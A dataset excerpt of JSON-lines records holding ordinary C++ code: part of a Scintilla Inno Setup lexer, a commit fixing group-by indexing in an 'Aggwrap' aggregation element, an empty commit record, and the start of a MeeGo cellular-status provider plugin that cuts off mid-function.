<stdio.h>\n#include <stdarg.h>\n#include <assert.h>\n#include <ctype.h>\n\n#include \"ILexer.h\"\n#include \"Scintilla.h\"\n#include \"SciLexer.h\"\n\n#include \"WordList.h\"\n#include \"LexAccessor.h\"\n#include \"Accessor.h\"\n#include \"StyleContext.h\"\n#include \"CharacterSet.h\"\n#include \"LexerModule.h\"\n\n#ifdef SCI_NAMESPACE\nusing namespace Scintilla;\n#endif\n\nstatic void ColouriseInnoDoc(Sci_PositionU startPos, Sci_Position length, int, WordList *keywordLists[], Accessor &styler) {\n\tint state = SCE_INNO_DEFAULT;\n\tchar chPrev;\n\tchar ch = 0;\n\tchar chNext = styler[startPos];\n\tSci_Position lengthDoc = startPos + length;\n\tchar *buffer = new char[length+1];\n\tSci_Position bufferCount = 0;\n\tbool isBOL, isEOL, isWS, isBOLWS = 0;\n\tbool isCStyleComment = false;\n\n\tWordList &sectionKeywords = *keywordLists[0];\n\tWordList &standardKeywords = *keywordLists[1];\n\tWordList &parameterKeywords = *keywordLists[2];\n\tWordList &preprocessorKeywords = *keywordLists[3];\n\tWordList &pascalKeywords = *keywordLists[4];\n\tWordList &userKeywords = *keywordLists[5];\n\n\tSci_Position curLine = styler.GetLine(startPos);\n\tint curLineState = curLine > 0 ? styler.GetLineState(curLine - 1) : 0;\n\tbool isCode = (curLineState == 1);\n\n\t\/\/ Go through all provided text segment\n\t\/\/ using the hand-written state machine shown below\n\tstyler.StartAt(startPos);\n\tstyler.StartSegment(startPos);\n\tfor (Sci_Position i = startPos; i < lengthDoc; i++) {\n\t\tchPrev = ch;\n\t\tch = chNext;\n\t\tchNext = styler.SafeGetCharAt(i + 1);\n\n\t\tif (styler.IsLeadByte(ch)) {\n\t\t\tchNext = styler.SafeGetCharAt(i + 2);\n\t\t\ti++;\n\t\t\tcontinue;\n\t\t}\n\n\t\tisBOL = (chPrev == 0) || (chPrev == '\\n') || (chPrev == '\\r' && ch != '\\n');\n\t\tisBOLWS = (isBOL) ? 1 : (isBOLWS && (chPrev == ' ' || chPrev == '\\t'));\n\t\tisEOL = (ch == '\\n' || ch == '\\r');\n\t\tisWS = (ch == ' ' || ch == '\\t');\n\n\t\tif ((ch == '\\r' && chNext != '\\n') || (ch == '\\n')) {\n\t\t\t\/\/ Remember the line state for future incremental lexing\n\t\t\tcurLine = styler.GetLine(i);\n\t\t\tstyler.SetLineState(curLine, (isCode ? 1 : 0));\n\t\t}\n\n\t\tswitch(state) {\n\t\t\tcase SCE_INNO_DEFAULT:\n\t\t\t\tif (!isCode && ch == ';' && isBOLWS) {\n\t\t\t\t\t\/\/ Start of a comment\n\t\t\t\t\tstate = SCE_INNO_COMMENT;\n\t\t\t\t} else if (ch == '[' && isBOLWS) {\n\t\t\t\t\t\/\/ Start of a section name\n\t\t\t\t\tbufferCount = 0;\n\t\t\t\t\tstate = SCE_INNO_SECTION;\n\t\t\t\t} else if (ch == '#' && isBOLWS) {\n\t\t\t\t\t\/\/ Start of a preprocessor directive\n\t\t\t\t\tstate = SCE_INNO_PREPROC;\n\t\t\t\t} else if (!isCode && ch == '{' && chNext != '{' && chPrev != '{') {\n\t\t\t\t\t\/\/ Start of an inline expansion\n\t\t\t\t\tstate = SCE_INNO_INLINE_EXPANSION;\n\t\t\t\t} else if (isCode && (ch == '{' || (ch == '(' && chNext == '*'))) {\n\t\t\t\t\t\/\/ Start of a Pascal comment\n\t\t\t\t\tstate = SCE_INNO_COMMENT_PASCAL;\n\t\t\t\t\tisCStyleComment = false;\n\t\t\t\t} else if (isCode && ch == '\/' && chNext == '\/') {\n\t\t\t\t\t\/\/ Apparently, C-style comments are legal, too\n\t\t\t\t\tstate = SCE_INNO_COMMENT_PASCAL;\n\t\t\t\t\tisCStyleComment = true;\n\t\t\t\t} else if (ch == '\"') {\n\t\t\t\t\t\/\/ Start of a double-quote string\n\t\t\t\t\tstate = SCE_INNO_STRING_DOUBLE;\n\t\t\t\t} else if (ch == '\\'') {\n\t\t\t\t\t\/\/ Start of a single-quote string\n\t\t\t\t\tstate = SCE_INNO_STRING_SINGLE;\n\t\t\t\t} else if (IsASCII(ch) && (isalpha(ch) || (ch == '_'))) {\n\t\t\t\t\t\/\/ Start of an identifier\n\t\t\t\t\tbufferCount = 0;\n\t\t\t\t\tbuffer[bufferCount++] = static_cast<char>(tolower(ch));\n\t\t\t\t\tstate = SCE_INNO_IDENTIFIER;\n\t\t\t\t} else {\n\t\t\t\t\t\/\/ Style it the default style\n\t\t\t\t\tstyler.ColourTo(i,SCE_INNO_DEFAULT);\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase SCE_INNO_COMMENT:\n\t\t\t\tif (isEOL) {\n\t\t\t\t\tstate = SCE_INNO_DEFAULT;\n\t\t\t\t\tstyler.ColourTo(i,SCE_INNO_COMMENT);\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase SCE_INNO_IDENTIFIER:\n\t\t\t\tif (IsASCII(ch) && (isalnum(ch) || (ch == '_'))) {\n\t\t\t\t\tbuffer[bufferCount++] = static_cast<char>(tolower(ch));\n\t\t\t\t} else {\n\t\t\t\t\tstate = SCE_INNO_DEFAULT;\n\t\t\t\t\tbuffer[bufferCount] = '\\0';\n\n\t\t\t\t\t\/\/ Check if the buffer contains a keyword\n\t\t\t\t\tif (!isCode && standardKeywords.InList(buffer)) {\n\t\t\t\t\t\tstyler.ColourTo(i-1,SCE_INNO_KEYWORD);\n\t\t\t\t\t} else if (!isCode && parameterKeywords.InList(buffer)) {\n\t\t\t\t\t\tstyler.ColourTo(i-1,SCE_INNO_PARAMETER);\n\t\t\t\t\t} else if (isCode && pascalKeywords.InList(buffer)) {\n\t\t\t\t\t\tstyler.ColourTo(i-1,SCE_INNO_KEYWORD_PASCAL);\n\t\t\t\t\t} else if (!isCode && userKeywords.InList(buffer)) {\n\t\t\t\t\t\tstyler.ColourTo(i-1,SCE_INNO_KEYWORD_USER);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tstyler.ColourTo(i-1,SCE_INNO_DEFAULT);\n\t\t\t\t\t}\n\n\t\t\t\t\t\/\/ Push back the faulty character\n\t\t\t\t\tchNext = styler[i--];\n\t\t\t\t\tch = chPrev;\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase SCE_INNO_SECTION:\n\t\t\t\tif (ch == ']') {\n\t\t\t\t\tstate = SCE_INNO_DEFAULT;\n\t\t\t\t\tbuffer[bufferCount] = '\\0';\n\n\t\t\t\t\t\/\/ Check if the buffer contains a section name\n\t\t\t\t\tif (sectionKeywords.InList(buffer)) {\n\t\t\t\t\t\tstyler.ColourTo(i,SCE_INNO_SECTION);\n\t\t\t\t\t\tisCode = !CompareCaseInsensitive(buffer, \"code\");\n\t\t\t\t\t} else {\n\t\t\t\t\t\tstyler.ColourTo(i,SCE_INNO_DEFAULT);\n\t\t\t\t\t}\n\t\t\t\t} else if (IsASCII(ch) && (isalnum(ch) || (ch == '_'))) {\n\t\t\t\t\tbuffer[bufferCount++] = static_cast<char>(tolower(ch));\n\t\t\t\t} else {\n\t\t\t\t\tstate = SCE_INNO_DEFAULT;\n\t\t\t\t\tstyler.ColourTo(i,SCE_INNO_DEFAULT);\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase SCE_INNO_PREPROC:\n\t\t\t\tif (isWS || isEOL) {\n\t\t\t\t\tif (IsASCII(chPrev) && isalpha(chPrev)) {\n\t\t\t\t\t\tstate = SCE_INNO_DEFAULT;\n\t\t\t\t\t\tbuffer[bufferCount] = '\\0';\n\n\t\t\t\t\t\t\/\/ Check if the buffer contains a preprocessor directive\n\t\t\t\t\t\tif (preprocessorKeywords.InList(buffer)) {\n\t\t\t\t\t\t\tstyler.ColourTo(i-1,SCE_INNO_PREPROC);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tstyler.ColourTo(i-1,SCE_INNO_DEFAULT);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\/\/ Push back the faulty character\n\t\t\t\t\t\tchNext = styler[i--];\n\t\t\t\t\t\tch = chPrev;\n\t\t\t\t\t}\n\t\t\t\t} else if (IsASCII(ch) && isalpha(ch)) {\n\t\t\t\t\tif (chPrev == '#' || chPrev == ' ' || chPrev == '\\t')\n\t\t\t\t\t\tbufferCount = 0;\n\t\t\t\t\tbuffer[bufferCount++] = static_cast<char>(tolower(ch));\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase SCE_INNO_STRING_DOUBLE:\n\t\t\t\tif (ch == '\"' || isEOL) {\n\t\t\t\t\tstate = SCE_INNO_DEFAULT;\n\t\t\t\t\tstyler.ColourTo(i,SCE_INNO_STRING_DOUBLE);\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase SCE_INNO_STRING_SINGLE:\n\t\t\t\tif (ch == '\\'' || isEOL) {\n\t\t\t\t\tstate = SCE_INNO_DEFAULT;\n\t\t\t\t\tstyler.ColourTo(i,SCE_INNO_STRING_SINGLE);\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase SCE_INNO_INLINE_EXPANSION:\n\t\t\t\tif (ch == '}') {\n\t\t\t\t\tstate = SCE_INNO_DEFAULT;\n\t\t\t\t\tstyler.ColourTo(i,SCE_INNO_INLINE_EXPANSION);\n\t\t\t\t} else if (isEOL) {\n\t\t\t\t\tstate = SCE_INNO_DEFAULT;\n\t\t\t\t\tstyler.ColourTo(i,SCE_INNO_DEFAULT);\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase SCE_INNO_COMMENT_PASCAL:\n\t\t\t\tif (isCStyleComment) {\n\t\t\t\t\tif (isEOL) {\n\t\t\t\t\t\tstate = SCE_INNO_DEFAULT;\n\t\t\t\t\t\tstyler.ColourTo(i,SCE_INNO_COMMENT_PASCAL);\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tif (ch == '}' || (ch == ')' && chPrev == '*')) {\n\t\t\t\t\t\tstate = SCE_INNO_DEFAULT;\n\t\t\t\t\t\tstyler.ColourTo(i,SCE_INNO_COMMENT_PASCAL);\n\t\t\t\t\t} else if (isEOL) {\n\t\t\t\t\t\tstate = SCE_INNO_DEFAULT;\n\t\t\t\t\t\tstyler.ColourTo(i,SCE_INNO_DEFAULT);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbreak;\n\n\t\t}\n\t}\n\tdelete []buffer;\n}\n\nstatic const char * const innoWordListDesc[] = {\n\t\"Sections\",\n\t\"Keywords\",\n\t\"Parameters\",\n\t\"Preprocessor directives\",\n\t\"Pascal keywords\",\n\t\"User defined keywords\",\n\t0\n};\n\nstatic void FoldInnoDoc(Sci_PositionU startPos, Sci_Position length, int, WordList *[], Accessor &styler) {\n\tSci_PositionU endPos = startPos + length;\n\tchar chNext = styler[startPos];\n\n\tSci_Position lineCurrent = styler.GetLine(startPos);\n\n\tbool sectionFlag = false;\n\tint levelPrev = lineCurrent > 0 ? styler.LevelAt(lineCurrent - 1) : SC_FOLDLEVELBASE;\n\tint level;\n\n\tfor (Sci_PositionU i = startPos; i < endPos; i++) {\n\t\tchar ch = chNext;\n\t\tchNext = styler[i+1];\n\t\tbool atEOL = (ch == '\\r' && chNext != '\\n') || (ch == '\\n');\n\t\tint style = styler.StyleAt(i);\n\n\t\tif (style == SCE_INNO_SECTION)\n\t\t\tsectionFlag = true;\n\n\t\tif (atEOL || i == endPos - 1) {\n\t\t\tif (sectionFlag) {\n\t\t\t\tlevel = SC_FOLDLEVELBASE | SC_FOLDLEVELHEADERFLAG;\n\t\t\t\tif (level == levelPrev)\n\t\t\t\t\tstyler.SetLevel(lineCurrent - 1, levelPrev & ~SC_FOLDLEVELHEADERFLAG);\n\t\t\t} else {\n\t\t\t\tlevel = levelPrev & SC_FOLDLEVELNUMBERMASK;\n\t\t\t\tif (levelPrev & SC_FOLDLEVELHEADERFLAG)\n\t\t\t\t\tlevel++;\n\t\t\t}\n\n\t\t\tstyler.SetLevel(lineCurrent, level);\n\n\t\t\tlevelPrev = level;\n\t\t\tlineCurrent++;\n\t\t\tsectionFlag = false;\n\t\t}\n\t}\n}\n\nLexerModule lmInno(SCLEX_INNOSETUP, ColouriseInnoDoc, \"inno\", FoldInnoDoc, innoWordListDesc);\n<|endoftext|>"}
{"text":"<commit_before>\/\/ -*- c-basic-offset: 2; related-file-name: \"aggwrap.h\" -*-\n\/*\n * @(#)$Id$\n * \n * This file is distributed under the terms in the attached INTEL-LICENSE file.\n * If you do not find these files, copies can be found by writing to:\n * Intel Research Berkeley, 2150 Shattuck Avenue, Suite 1300,\n * Berkeley, CA, 94704.  Attention:  Intel License Inquiry.\n * \n *\/\n\n#include \"aggwrap.h\"\n#include \"trace.h\"\n#include \"val_int32.h\"\n#include \"val_str.h\"\n\nAggwrap::Aggwrap(str aggfn, int aggfield, str outputTableName)\n  : Element(strbuf() << \"Aggwrap<\" << aggfn << \",\" << aggfield \n\t    << \", \" << outputTableName << \">\", 2, 2),\n    _aggfn(aggfn), \n    _aggfield(aggfield), \n    inner_accepting(true),\n    ext_in_cb(cbv_null), \n    ext_out_cb(cbv_null)\n{\n  numJoins = 0;\n  _outputTableName = outputTableName;\n  if (aggfn == \"min\") {\n    log(LoggerI::INFO, 0, str(strbuf() << \"min aggregation \" << _aggfield));\n  } else if (aggfn == \"max\") {\n    log(LoggerI::INFO, 0, str(strbuf() << \"max aggregation \" << _aggfield));\n  } else if (aggfn == \"count\") { \n    log(LoggerI::INFO, 0, str(strbuf() << \"count aggregation \" << _aggfield));\n  } else {\n    log(LoggerI::INFO, 0, \"HELP: Don't understand agg function '\" \n\t<< aggfn << \"'\");\n  }\n}\n\n\/\/\n\/\/ A new tuple is coming in from outside. \n\/\/\nint Aggwrap::push(int port, TupleRef t, cbv cb)\n{\n  log(LoggerI::INFO, 0, str(strbuf() << \" Push: \" << port << \",\" << t->toString()));\n\n  \/\/ if receive the next one when previous has not finished, then keep in queue?\n\n  \/\/ Is this the right port?\n  switch (port) {\n  case 0:\n    ext_in_cb = cb;\n    switch(aggState) {\n    case 0:  \/\/ Waiting\n      log(LoggerI::INFO, 0, \n\t  str(strbuf() << \" received a tuple from outside!\" \n\t      << t->toString()));\n      assert(inner_accepting);\n      agg_init();\n      _incomingTuple = t;\n      inner_accepting = output(1)->push(t, wrap(this, &Aggwrap::int_push_cb));\n      break;\n    case 1:\n      log(LoggerI::INFO, 0, \"FAIL: pushed when processing!\");\n      \/\/ Discard tuple\n      break;\n    case 2:\n      log(LoggerI::INFO, 0, \"FAIL: pushed when done pending\");\n      break;\n    default:\n      log(LoggerI::INFO, 0, str(strbuf() << \"FAIL: weird state \" \n\t\t\t\t<< aggState));\n    }     \n    log(LoggerI::INFO, 0, str(strbuf() << \" Block downstream\"));\n    return 0;\n  case 1:\n    switch(aggState) {\n    case 0:  \/\/ Waiting\n      log(LoggerI::INFO, 0, \n\t  \"OOPS: unexpected result tuple when in state waiting\");\n      break;\n    case 1:\n      agg_accum(t);\n      break;\n    case 2:\n      log(LoggerI::INFO, 0, \"FAIL: pushed when done pending\");\n      break;\n    default:\n      log(LoggerI::INFO, 0, str(strbuf() << \"FAIL: weird state \" \n\t\t\t\t<< aggState));\n    } \n    return 1;\n  default:\n    assert(port < 2);\n    return  0;\n  }\n\n}\n\n\/\/ \n\/\/ Callback from the inner graph when we can push more tuples. \n\/\/ \nvoid Aggwrap::int_push_cb()\n{\n  TRC_FN;\n  inner_accepting = true;\n  log(LoggerI::INFO, \n      0, str(strbuf() \n\t     << \"Callback from inner graph on successful push\" << aggState));\n  if (aggState == 0 && ext_in_cb) {\n    log(LoggerI::INFO, 0, str(strbuf() << \"Invoke ext_in_cb\"));\n    ext_in_cb();\n    ext_in_cb = cbv_null;\n  }\n}\n\n\n\/\/\n\/\/ Completion callback\n\/\/\nvoid Aggwrap::comp_cb(int jnum)\n{\n  TRC_FN;\n  log(LoggerI::INFO, 0, str(strbuf() << \"Join \" << jnum << \" completed.\"));\n  if (curJoin < jnum) { \n    curJoin = jnum;\n  }\n  \n  if (curJoin >= numJoins - 1) {\n    \/\/ Presumably, we're now done.\n    agg_finalize();\n  }\n}\n\n\/\/\n\/\/ Getting hold of a closure for the above\n\/\/\ncbv Aggwrap::get_comp_cb()\n{\n  log(LoggerI::INFO, 0, str(strbuf() << \"Joins so far: \" << numJoins + 1));\n  return wrap(this,&Aggwrap::comp_cb,numJoins++);\n}\n\n\/\/\n\/\/ Finally, the aggregation functions\n\/\/\nvoid Aggwrap::agg_init() {\n  TRC_FN;\n  curJoin = -1;\n  aggState = 1;\n  if ( _aggfn == \"count\") {\n    count = 0;\n  } else {\n    aggResult = NULL;\n  }\n}\n\nvoid Aggwrap::agg_accum(TupleRef t) {\n  TRC_FN;\n  if ( _aggfn == \"count\") {\n    count++;\n    aggResult = t;\n    log(LoggerI::INFO, 0, str(strbuf() << \"After Agg accumulation: \" \n\t\t\t      << aggResult->toString()));\n    return;\n  } \n\n  if ( aggResult == NULL ) {\n    aggResult = t;\n    log(LoggerI::INFO, 0, str(strbuf() << \"After Agg accumulation: \" \n\t\t\t      << aggResult->toString()));\n    return;\n  }\n\n  log(LoggerI::INFO, 0, str(strbuf() << \"Before Agg accumulation: \" \n\t\t\t    << aggResult->toString()));\n  int cr = (*t)[_aggfield]->compareTo((*aggResult)[_aggfield]);\n  if ((cr == -1 && _aggfn == \"min\") || (cr == 1 && _aggfn == \"max\")) {\n    aggResult = t;\n  }\n  log(LoggerI::INFO, 0, str(strbuf() << \"After Agg accumulation: \" \n\t\t\t    << aggResult->toString() << cr \n\t\t\t    << \" \" << (*t)[_aggfield]->toString() << \" \" \n\t\t\t    << (*aggResult)[_aggfield]->toString()));\n}\n\nvoid Aggwrap::agg_finalize() {\n  TRC_FN; \n  if (_aggfn == \"count\") {       \n    if (_incomingTuple) {\n      TupleRef aggResultToRet = Tuple::mk();\n      aggResultToRet->append(Val_Str::mk(_outputTableName));\n      for (uint k = 0; k < _groupByFields.size(); k++) {\n\taggResultToRet->append((*_incomingTuple)[k+1]);\n      }\n      aggResultToRet->append(Val_Int32::mk(count));\n      aggResultToRet->freeze();\n      \n      aggResult = Tuple::mk();\n      aggResult->concat(aggResultToRet);\n      aggResult->freeze();     \n    }\n  }\n  if (aggResult) {\n    log(LoggerI::INFO, 0, \n\tstr(strbuf() << \" finalize: Pushing tuple\" << aggResult->toString()));\n    output(0)->push(aggResult, cbv_null);\n  } else {\n    log(LoggerI::INFO, 0, \"Finalize: Alas, nothing to push\");\n  }\n  if (ext_in_cb) {\n    log(LoggerI::INFO, 0, \"Invoke push callback for more tuples\");\n    \/\/ accept new tuples to be pushed in via outer regardless of any outputs\n    ext_in_cb(); \n    ext_in_cb = cbv_null;\n  }\n  aggState = 0;\n}\n\nvoid Aggwrap::registerGroupbyField(int field)\n{ \n  _groupByFields.push_back(field); \n  warn << \" Register group by\" << field << \"\\n\";\n}\n<commit_msg>aggwrap count bug<commit_after>\/\/ -*- c-basic-offset: 2; related-file-name: \"aggwrap.h\" -*-\n\/*\n * @(#)$Id$\n * \n * This file is distributed under the terms in the attached INTEL-LICENSE file.\n * If you do not find these files, copies can be found by writing to:\n * Intel Research Berkeley, 2150 Shattuck Avenue, Suite 1300,\n * Berkeley, CA, 94704.  Attention:  Intel License Inquiry.\n * \n *\/\n\n#include \"aggwrap.h\"\n#include \"trace.h\"\n#include \"val_int32.h\"\n#include \"val_str.h\"\n\nAggwrap::Aggwrap(str aggfn, int aggfield, str outputTableName)\n  : Element(strbuf() << \"Aggwrap<\" << aggfn << \",\" << aggfield \n\t    << \", \" << outputTableName << \">\", 2, 2),\n    _aggfn(aggfn), \n    _aggfield(aggfield), \n    inner_accepting(true),\n    ext_in_cb(cbv_null), \n    ext_out_cb(cbv_null)\n{\n  numJoins = 0;\n  _outputTableName = outputTableName;\n  if (aggfn == \"min\") {\n    log(LoggerI::INFO, 0, str(strbuf() << \"min aggregation \" << _aggfield));\n  } else if (aggfn == \"max\") {\n    log(LoggerI::INFO, 0, str(strbuf() << \"max aggregation \" << _aggfield));\n  } else if (aggfn == \"count\") { \n    log(LoggerI::INFO, 0, str(strbuf() << \"count aggregation \" << _aggfield));\n  } else {\n    log(LoggerI::INFO, 0, \"HELP: Don't understand agg function '\" \n\t<< aggfn << \"'\");\n  }\n}\n\n\/\/\n\/\/ A new tuple is coming in from outside. \n\/\/\nint Aggwrap::push(int port, TupleRef t, cbv cb)\n{\n  log(LoggerI::INFO, 0, str(strbuf() << \" Push: \" << port << \",\" << t->toString()));\n\n  \/\/ if receive the next one when previous has not finished, then keep in queue?\n\n  \/\/ Is this the right port?\n  switch (port) {\n  case 0:\n    ext_in_cb = cb;\n    switch(aggState) {\n    case 0:  \/\/ Waiting\n      log(LoggerI::INFO, 0, \n\t  str(strbuf() << \" received a tuple from outside!\" \n\t      << t->toString()));\n      assert(inner_accepting);\n      agg_init();\n      _incomingTuple = t;\n      inner_accepting = output(1)->push(t, wrap(this, &Aggwrap::int_push_cb));\n      break;\n    case 1:\n      log(LoggerI::INFO, 0, \"FAIL: pushed when processing!\");\n      \/\/ Discard tuple\n      break;\n    case 2:\n      log(LoggerI::INFO, 0, \"FAIL: pushed when done pending\");\n      break;\n    default:\n      log(LoggerI::INFO, 0, str(strbuf() << \"FAIL: weird state \" \n\t\t\t\t<< aggState));\n    }     \n    log(LoggerI::INFO, 0, str(strbuf() << \" Block downstream\"));\n    return 0;\n  case 1:\n    switch(aggState) {\n    case 0:  \/\/ Waiting\n      log(LoggerI::INFO, 0, \n\t  \"OOPS: unexpected result tuple when in state waiting\");\n      break;\n    case 1:\n      agg_accum(t);\n      break;\n    case 2:\n      log(LoggerI::INFO, 0, \"FAIL: pushed when done pending\");\n      break;\n    default:\n      log(LoggerI::INFO, 0, str(strbuf() << \"FAIL: weird state \" \n\t\t\t\t<< aggState));\n    } \n    return 1;\n  default:\n    assert(port < 2);\n    return  0;\n  }\n\n}\n\n\/\/ \n\/\/ Callback from the inner graph when we can push more tuples. \n\/\/ \nvoid Aggwrap::int_push_cb()\n{\n  TRC_FN;\n  inner_accepting = true;\n  log(LoggerI::INFO, \n      0, str(strbuf() \n\t     << \"Callback from inner graph on successful push\" << aggState));\n  if (aggState == 0 && ext_in_cb) {\n    log(LoggerI::INFO, 0, str(strbuf() << \"Invoke ext_in_cb\"));\n    ext_in_cb();\n    ext_in_cb = cbv_null;\n  }\n}\n\n\n\/\/\n\/\/ Completion callback\n\/\/\nvoid Aggwrap::comp_cb(int jnum)\n{\n  TRC_FN;\n  log(LoggerI::INFO, 0, str(strbuf() << \"Join \" << jnum << \" completed.\"));\n  if (curJoin < jnum) { \n    curJoin = jnum;\n  }\n  \n  if (curJoin >= numJoins - 1) {\n    \/\/ Presumably, we're now done.\n    agg_finalize();\n  }\n}\n\n\/\/\n\/\/ Getting hold of a closure for the above\n\/\/\ncbv Aggwrap::get_comp_cb()\n{\n  log(LoggerI::INFO, 0, str(strbuf() << \"Joins so far: \" << numJoins + 1));\n  return wrap(this,&Aggwrap::comp_cb,numJoins++);\n}\n\n\/\/\n\/\/ Finally, the aggregation functions\n\/\/\nvoid Aggwrap::agg_init() {\n  TRC_FN;\n  curJoin = -1;\n  aggState = 1;\n  if ( _aggfn == \"count\") {\n    count = 0;\n  } else {\n    aggResult = NULL;\n  }\n}\n\nvoid Aggwrap::agg_accum(TupleRef t) {\n  TRC_FN;\n  if ( _aggfn == \"count\") {\n    count++;\n    aggResult = t;\n    log(LoggerI::INFO, 0, str(strbuf() << \"After Agg accumulation: \" \n\t\t\t      << aggResult->toString()));\n    return;\n  } \n\n  if ( aggResult == NULL ) {\n    aggResult = t;\n    log(LoggerI::INFO, 0, str(strbuf() << \"After Agg accumulation: \" \n\t\t\t      << aggResult->toString()));\n    return;\n  }\n\n  log(LoggerI::INFO, 0, str(strbuf() << \"Before Agg accumulation: \" \n\t\t\t    << aggResult->toString()));\n  int cr = (*t)[_aggfield]->compareTo((*aggResult)[_aggfield]);\n  if ((cr == -1 && _aggfn == \"min\") || (cr == 1 && _aggfn == \"max\")) {\n    aggResult = t;\n  }\n  log(LoggerI::INFO, 0, str(strbuf() << \"After Agg accumulation: \" \n\t\t\t    << aggResult->toString() << cr \n\t\t\t    << \" \" << (*t)[_aggfield]->toString() << \" \" \n\t\t\t    << (*aggResult)[_aggfield]->toString()));\n}\n\nvoid Aggwrap::agg_finalize() {\n  TRC_FN; \n  if (_aggfn == \"count\") {       \n    if (_incomingTuple) {\n      TupleRef aggResultToRet = Tuple::mk();\n      aggResultToRet->append(Val_Str::mk(_outputTableName));\n      for (uint k = 0; k < _groupByFields.size(); k++) {\n\t\/*warn << _incomingTuple->toString() << \" \" \n\t  << _groupByFields.at(k) + 1 << \"\\n\";     *\/\n\taggResultToRet->append((*_incomingTuple)[_groupByFields.at(k)+1]);\n      }\n      aggResultToRet->append(Val_Int32::mk(count));\n      aggResultToRet->freeze();\n      \n      aggResult = Tuple::mk();\n      aggResult->concat(aggResultToRet);\n      aggResult->freeze();     \n    }\n  }\n  if (aggResult) {\n    log(LoggerI::INFO, 0, \n\tstr(strbuf() << \" finalize: Pushing tuple\" << aggResult->toString()));\n    output(0)->push(aggResult, cbv_null);\n  } else {\n    log(LoggerI::INFO, 0, \"Finalize: Alas, nothing to push\");\n  }\n  if (ext_in_cb) {\n    log(LoggerI::INFO, 0, \"Invoke push callback for more tuples\");\n    \/\/ accept new tuples to be pushed in via outer regardless of any outputs\n    ext_in_cb(); \n    ext_in_cb = cbv_null;\n  }\n  aggState = 0;\n}\n\nvoid Aggwrap::registerGroupbyField(int field)\n{ \n  _groupByFields.push_back(field); \n  warn << \" Register group by\" << field << \"\\n\";\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Reorder zeros<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*  -*- Mode: C++ -*-\n *\n * contextkit-meego\n * Copyright © 2010, Intel Corporation.\n *\n * This program is licensed under the terms and conditions of the\n * Apache License, version 2.0.  The full text of the Apache License is at\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *\/\n\n#include \"cellularprovider.h\"\n#include \"ofono_interface.h\"\n#include \"manager_interface.h\"\n\n#include <QDBusConnection>\n\n#define SignalStrength \"Cellular.SignalStrength\"\n#define DataTechnology \"Cellular.DataTechnology\"\n#define RegistrationStatus \"Cellular.RegistrationStatus\"\nIProviderPlugin* pluginFactory(const QString& constructionString)\n{\n\tQ_UNUSED(constructionString)\n\treturn new CellularProvider();\n}\n\nCellularProvider::CellularProvider()\n{\n\tqDebug() << \"CellularProvider\" << \"Initializing cellular provider\";\n        registerContextDataTypes();\n\tQMetaObject::invokeMethod(this,\"ready\",Qt::QueuedConnection);\n}\n\nCellularProvider::~CellularProvider()\n{\n\n}\n\nvoid CellularProvider::subscribe(QSet<QString> keys)\n{\n\tif(subscribedProps.isEmpty()) initProvider();\n\n\tsubscribedProps.unite(keys);\n\n\tQMetaObject::invokeMethod(this, \"emitSubscribeFinished\", Qt::QueuedConnection);\n}\n\nvoid CellularProvider::unsubscribe(QSet<QString> keys)\n{\n\tsubscribedProps.subtract(keys);\n\tif(subscribedProps.isEmpty()) cleanProvider();\n}\n\nvoid CellularProvider::initProvider()\n{\n\tqDebug() << \"CellularProvider\" << \"First subscriber appeared, connecting to ofono\";\n\t\n        Manager managerProxy(\"org.ofono\",\n\t\t\t\t  \"\/\",\n\t\t\t\tQDBusConnection::systemBus());\n\n        QDBusPendingReply<QArrayOfPathProperties> reply;\n        QDBusPendingCallWatcher * watcher;\n\n        reply = managerProxy.GetModems();\n        watcher = new QDBusPendingCallWatcher(reply);\n        watcher->waitForFinished();\n\n        QList<QDBusObjectPath> paths = providerProcessGetModems(watcher);\n\n        QString modemPath;\n\tforeach (QDBusObjectPath p, paths)\n\t{\n\t\tif (modemPath.isNull() || modemPath.isEmpty())\n\t\t{\n\t\t\tmodemPath = QString(p.path());\n\t\t\tnetworkProps = new NetworkProperties(\"org.ofono\",\n\t\t\t\t\tmodemPath,\n\t\t\t\t\tQDBusConnection::systemBus());\n\n\t\t\tconnect(networkProps,SIGNAL(PropertyChanged(const QString&, const QDBusVariant&)),this,SLOT(updateProperty(const QString&, const QDBusVariant&)));\n\t\t\tupdateProperties();\n\t\t\tbreak;\n\t\t}\n\t}\n\tif (!networkProps)\n\t{\n\t\tqDebug() << \"ProviderProvider\" << \"No NetworkRegistration interface found\";\n\t}\n}\n\nQList<QDBusObjectPath> CellularProvider::providerProcessGetModems(QDBusPendingCallWatcher *call)\n{\n    QDBusPendingReply<QArrayOfPathProperties> reply = *call;\n    QList<QDBusObjectPath> pathlist;\n    if (reply.isError()) {\n        \/\/ TODO: Handle this properly, by setting states, or disabling features\n        qWarning() << \"org.ofono.Manager.GetModems() failed: \" <<\n                      reply.error().message();\n    } else {\n        QArrayOfPathProperties modems = reply.value();\n        qDebug() << QString(\"modem count:\")<<modems.count();\n        for (int i=0; i< modems.count();i++) {\n            OfonoPathProperties p = modems[i];\n            pathlist.append(QDBusObjectPath(p.path.path()));\n        }\n    }\n    return pathlist;\n}\n\nvoid CellularProvider::cleanProvider()\n{\n\tqDebug() << \"CellularProvider\" << \"Last subscriber gone, destroying CellularProvider connections\";\n\tdelete networkProps;\n\tnetworkProps = NULL;\n}\n\nvoid CellularProvider::updateProperty(const QString &key, const QDBusVariant &val)\n{\n\tqDebug() << \"CellularProvider\" << key<<\" changed\";\n\tif(key == \"Status\")\n\t{\n\t\tQString status = qdbus_cast<QString> (val.variant());\n\t\tif (status == \"registered\" || status == \"roming\")\n\t\t{\n        \t\tprops[RegistrationStatus] = QVariant(\"online\");\n\t\t} else 